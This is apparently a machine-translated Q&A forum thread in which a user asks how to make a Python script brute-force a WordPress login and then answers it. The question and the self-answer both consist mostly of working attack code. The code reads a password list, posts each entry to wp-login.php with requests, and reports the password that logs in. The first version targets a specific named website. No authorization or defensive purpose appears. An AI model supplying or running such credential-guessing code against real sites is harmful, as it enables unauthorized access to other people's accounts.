2017-03-04 4 views
0

Ich habe ein Programm namens Web-Map gemacht. es scannt eine Website nach Sicherheitslücken. Aber ich habe einige Probleme mit Brute-Forcing der Wordpress-Login. Dies ist der Code, der Brute-Force das Login:Wie logge ich mich bei WORDPRESS mit Python mit Anfragen ein?

def brute_login(tgt, dictionary): 
s = requests.Session() 
pass_found = False 

user = raw_input("User: ") 
intent = 0 
tgt = tgt+"/wp-login" 
f = open(dictionary, 'r') 
for word in f.readlines(): 
    password = word.strip('\n') 
    intent+=1 
    payload = {'log': user, 'pwd': password, 'redirect_to': 'TARGET_URL/wp-admin', 'testcookie': '1', 'wp-submit': 'Access'} 
    print '[+] Trying with user: '+str(user)+' and password: '+str(password)+'\ttry: '+str(intent) 
    s.post(tgt, data=payload) 
    data = s.get("http://gerion.info/wp-admin").text 
    if 'Escritorio' in data or 'Desktop' in data: 
     print '[*] Password found: '+password 
     pass_found = True 
    else: 
     pass 

Ich hoffe, dass Sie mir helfen können, Dank !!

+0

würde ich die * Authentifizierung * und * Login * Tags auf diese Frage –

+0

Was nicht funktioniert hinzufügen? – payne

Antwort

2

Ok, ich habe die Lösung gefunden. @payne das Problem war, konnte ich nicht auf der Wordpress-Admin-Seite authentifizieren. Die Lösung war, Wordpress seine Cookies selbst setzen zu lassen. Dies ist der letzte Code:

def brute_login(tgt, dictionary): 

s = requests.Session() 

s.get(tgt) 

user = raw_input("User: ") 
intent = 0 
tgt = tgt + "/wp-login.php" 

passwords = [] 
with open(dictionary, 'r') as f: 
    passwords = f.read().rsplit('\n') 

for password in passwords: 
    intent += 1 
    payload = {'log': user,'pwd': password} 
    print'[+] Trying with user: %s and password: %s\ttry: %s' % (user, password, intent) 

    data = s.post(tgt, data=payload) 


    if not 'ERROR' in data.text: 
     print '[*] Password found: '+password 
     exit(0) 
Verwandte Themen